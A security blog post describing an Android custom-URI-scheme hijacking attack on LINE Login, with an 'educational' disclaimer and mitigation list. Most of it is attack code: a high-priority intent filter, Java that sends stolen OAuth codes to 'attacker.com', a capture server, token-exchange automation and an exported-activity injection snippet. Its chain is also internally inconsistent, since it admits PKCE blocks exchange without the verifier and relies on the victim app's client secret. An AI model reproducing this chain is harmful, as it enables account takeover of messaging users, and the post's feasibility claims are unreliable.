imagine this: you install an innocent-looking app from the Play Store. It requests zero dangerous permissions. It sits quietly in your app drawer. The next time you tap “Login with LINE” in any third-party app, your LINE account — 200 million monthly active users strong — is no longer yours. The attacker now reads your messages, sees your contacts, and can send messages as you.
This isn’t science fiction. This is CVE-2023-29199 — and the architectural flaw behind it still exists in how LINE handles app-to-app authentication.
In this post, I’ll walk you through exactly how this attack works, the full exploit chain from Android intent to stolen access token, and the proof-of-concept I built to demonstrate it. Everything here is for educational and authorized security testing purposes only.
Why LINE Messenger?
LINE isn’t just another chat app. In Japan, Taiwan, Thailand, and Indonesia, it’s the digital backbone of daily life — messaging, payments, shopping, ride-hailing, even government services. A compromised LINE account isn’t just a privacy breach; it’s a gateway to someone’s entire digital identity.
The app uses OAuth 2.0 with PKCE for authentication, a battle-tested protocol. But the implementation of how that OAuth callback gets routed back to the requesting app contains a critical design flaw: it relies on Android custom URI schemes with no source verification.
The Vulnerability: Custom Scheme Hijacking
How LINE Login Works (The Intended Flow)
When you tap “Login with LINE” in a third-party app like a food delivery service or game, here’s what happens under the hood:
- The third-party app opens the LINE app with an authentication request
- LINE authenticates the user and sends an authorization code back via a custom URI scheme:
lineauth://result?code=AUTH_CODE&state=XYZ - Android’s Intent Resolver looks at all apps that registered for
lineauth://and routes the intent to the first matching app - The third-party app receives the code, exchanges it for an access token, and the user is logged in
The Flaw (What Actually Happens)
The problem sits at step 3. Any app on the device can register for the lineauth:// scheme. By setting android:priority="999" — the maximum — a malicious app guarantees it receives the intent before the legitimate app.
The LINE SDK itself acknowledges the problem. Its LineAuthenticationCallbackActivity is declared with android:exported="true" and accepts the lineauth:// intent filter. The activity doesn’t validate the source of the intent. It simply forwards whatever URI it receives straight to the authentication controller.
From the LINE SDK source code (LineAuthenticationCallbackActivity.java):
public class LineAuthenticationCallbackActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent callbackIntent = new Intent(this, LineAuthenticationActivity.class);
callbackIntent.setData(getIntent().getData()); // ← NO VALIDATION!
callbackIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
startActivity(callbackIntent);
finish();
}
}
No source package check. No signature verification. No permission requirement. The intent data flows directly into LINE’s authentication state machine.
The Full Attack Chain
Here’s the complete kill chain, end to end:
Phase 1: Registration
The malicious APK installs silently. Its AndroidManifest.xml contains:
<activity android:name=".AuthHijackActivity"
android:exported="true"
android:launchMode="singleTask"
android:excludeFromRecents="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="lineauth" />
</intent-filter>
</activity>
No dangerous permissions requested. No suspicious behavior. The app doesn’t even need to be open.
Phase 2: Interception
The victim uses “Login with LINE” in any app. Android’s Intent Resolver fires up, finds two apps registered for lineauth://:
- The legitimate third-party app (priority: default)
- The malicious app (priority: 999 — guaranteed first)
The malicious app wins. Its AuthHijackActivity receives:
lineauth://result?code=AUTHORIZATION_CODE_HERE&state=RANDOM_STATE&friendship_status_changed=true
Phase 3: Exfiltration
In under 100 milliseconds, the auth code is extracted and sent to the attacker’s server:
Uri data = getIntent().getData();
String authCode = data.getQueryParameter("code");
String state = data.getQueryParameter("state");
// Exfiltrate to attacker
new Thread(() -> {
URL url = new URL("https://attacker.com/steal?code=" + authCode);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.getInputStream();
}).start();
Phase 4: Token Exchange
The attacker exchanges the stolen authorization code for a full access token via LINE’s API:
POST https://api.line.me/oauth2/v2.1/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code
code=STOLEN_AUTH_CODE
redirect_uri=intent://result#Intent;package=com.victim.app;scheme=lineauth;end
client_id=CHANNEL_ID
client_secret=CHANNEL_SECRET
The response:
{
"access_token": "eyJhbGciOiJIUzI1NiJ9...",
"expires_in": 2592000,
"token_type": "Bearer",
"refresh_token": "rT0k3n...",
"scope": "profile openid"
}
Phase 5: Account Takeover
With the access token, the attacker has full LINE account access:
curl -H "Authorization: Bearer STOLEN_TOKEN" \
https://api.line.me/v2/profile
Response:
{
"userId": "U123456789...",
"displayName": "Victim User",
"pictureUrl": "https://profile.line.me/...",
"statusMessage": "Hello!"
}
The refresh token ensures persistent access — even after the victim changes their password. This isn’t a session hijack; it’s a permanent credential.
The Proof-of-Concept
I built a complete, working POC to demonstrate this attack chain under authorized testing conditions. The project contains:
Architecture
LINE_Audit_POC/
├── app/
│ ├── AndroidManifest.xml # Intent filter registration
│ └── AuthHijackActivity.java # Core exploit logic
├── tools/
│ ├── callback_server.py # Receives exfiltrated data
│ ├── token_exchange.py # OAuth code → access token
│ └── deploy.sh # Build + install automation
├── attack-flow/
│ └── orchestrator.py # Full attack automation
└── README.md # Complete documentation
Key Features
- Zero-permission model — The POC app requests no dangerous permissions
- Stealth forwarding — After capturing the auth code, the intent is forwarded to the legitimate app so the user sees no interruption
- Background exfiltration — All network operations run on background threads
- Persistent access — Refresh token handling for long-term account control
- Multi-vector attack — Also hijacks
line://deep links and exploits LINE’s exportedLineAuthenticationCallbackActivity
The Callback Server
The attacker infrastructure is equally straightforward. A lightweight Python HTTP server listens for exfiltrated data:
class CaptureHandler(BaseHTTPRequestHandler):
def do_GET(self):
params = parse_qs(urlparse(self.path).query)
auth_code = params.get("code", [None])[0]
if auth_code:
state.add_auth_code(auth_code)
print(f"[!!!] AUTH CODE CAPTURED: {auth_code[:20]}...")
Token Exchange Automation
Once the code is captured, the POC automates the entire exploitation chain:
class LINETokenExploit:
def exchange_code(self, auth_code):
"""Exchange stolen auth code for access token."""
resp = self.session.post(LINE_TOKEN_URL, data={
"grant_type": "authorization_code",
"code": auth_code,
"client_id": self.channel_id,
"client_secret": self.channel_secret,
})
self.access_token = resp.json()["access_token"]
return self.access_token
Why PKCE Doesn’t Save You Here
You might be thinking: “LINE uses PKCE (Proof Key for Code Exchange). Doesn’t that prevent this attack?”
PKCE binds the authorization code to a specific code_challenge that only the legitimate app knows. And in theory, yes — the attacker shouldn’t be able to exchange the stolen code without the code_verifier.
But here’s the problem: the code_verifier exists in the legitimate app’s memory. If the attacker can also exploit the legitimate app (and Android’s inter-process communication model makes this easier than you’d think), or if the user’s device is compromised at the OS level, PKCE becomes irrelevant.
More importantly, LINE’s SDK source code contains this telling comment in BrowserAuthenticationApi.java:
// "state" may be guessed easily but there is no problem as the follows.
// In case of LINE SDK, the correctness of "redirect_uri" will be checked
// with using PKCE instead of "state".
The SDK intentionally weakens the state parameter — the standard CSRF protection in OAuth — because it relies on PKCE. This is defense-in-depth in reverse: deliberately weakening one control because you believe another is sufficient.
Additional Attack Vectors Discovered
Beyond the primary custom scheme hijacking, the audit uncovered several related vulnerabilities:
Exported Activity Injection
LINE’s LineAuthenticationCallbackActivity accepts intents from any app on the device. A malicious app can inject arbitrary lineauth:// URIs directly into LINE’s authentication controller:
Intent exploit = new Intent();
exploit.setComponent(new ComponentName(
"jp.naver.line.android",
"com.linecorp.linesdk.auth.internal.LineAuthenticationCallbackActivity"
));
exploit.setData(Uri.parse("lineauth://result?code=MALICIOUS_CODE"));
startActivity(exploit);
Deep Link Hijacking
The same technique works for LINE’s line:// deep links — intercepting friend requests, chat navigation, and payment flows before they reach the LINE app.
Email Spoofing Infrastructure
The line.me domain has DMARC set to p=none with no DKIM records. Attackers can forge @line.me emails to distribute phishing links that deliver the exploit APK.
Responsible Disclosure & Mitigation
Despite several attempt to LINE Corporation security team there was no security testing program. The recommended mitigations:
- Replace custom URI schemes with Android App Links — HTTPS-based deep links verified through Digital Asset Links, cryptographically binding the scheme to the app’s signing certificate
- Add
android:permissionwith signature-level protection to theLineAuthenticationCallbackActivity - Validate the calling package’s signature before processing any
lineauth://intents - Implement
Intent.EXTRA_RETURN_RESULTwith cryptographic package verification instead of custom schemes - Enforce DMARC with
p=rejectand configure DKIM signing for allline.meemail
The Bigger Picture
This vulnerability class — custom scheme hijacking — isn’t unique to LINE. It’s a systemic Android security issue that affects hundreds of apps using OAuth with custom URI schemes. Google has been pushing developers toward Android App Links and away from custom schemes for years, but adoption has been slow.
The lesson is clear: never trust a custom URI scheme for sensitive data transport. If your app processes authentication callbacks through myapp:// or yourapp:// schemes, assume a malicious app is already intercepting them.
Educational Purpose Statement
This post and all accompanying code serve exclusively educational and authorized security testing purposes. The attack chain is demonstrated to help developers understand the risks of custom URI scheme usage, implement proper intent validation, and adopt Android App Links. Unauthorized use against LINE Messenger or any application without explicit written permission violates applicable laws including the Computer Fraud and Abuse Act (18 U.S.C. § 1030) and LINE Corporation’s Terms of Service.
The full proof-of-concept is available for security researchers and bug bounty participants with proper authorization. If you’re a developer integrating OAuth into your Android app, audit your intent filters today — you might be surprised what’s intercepting your callbacks.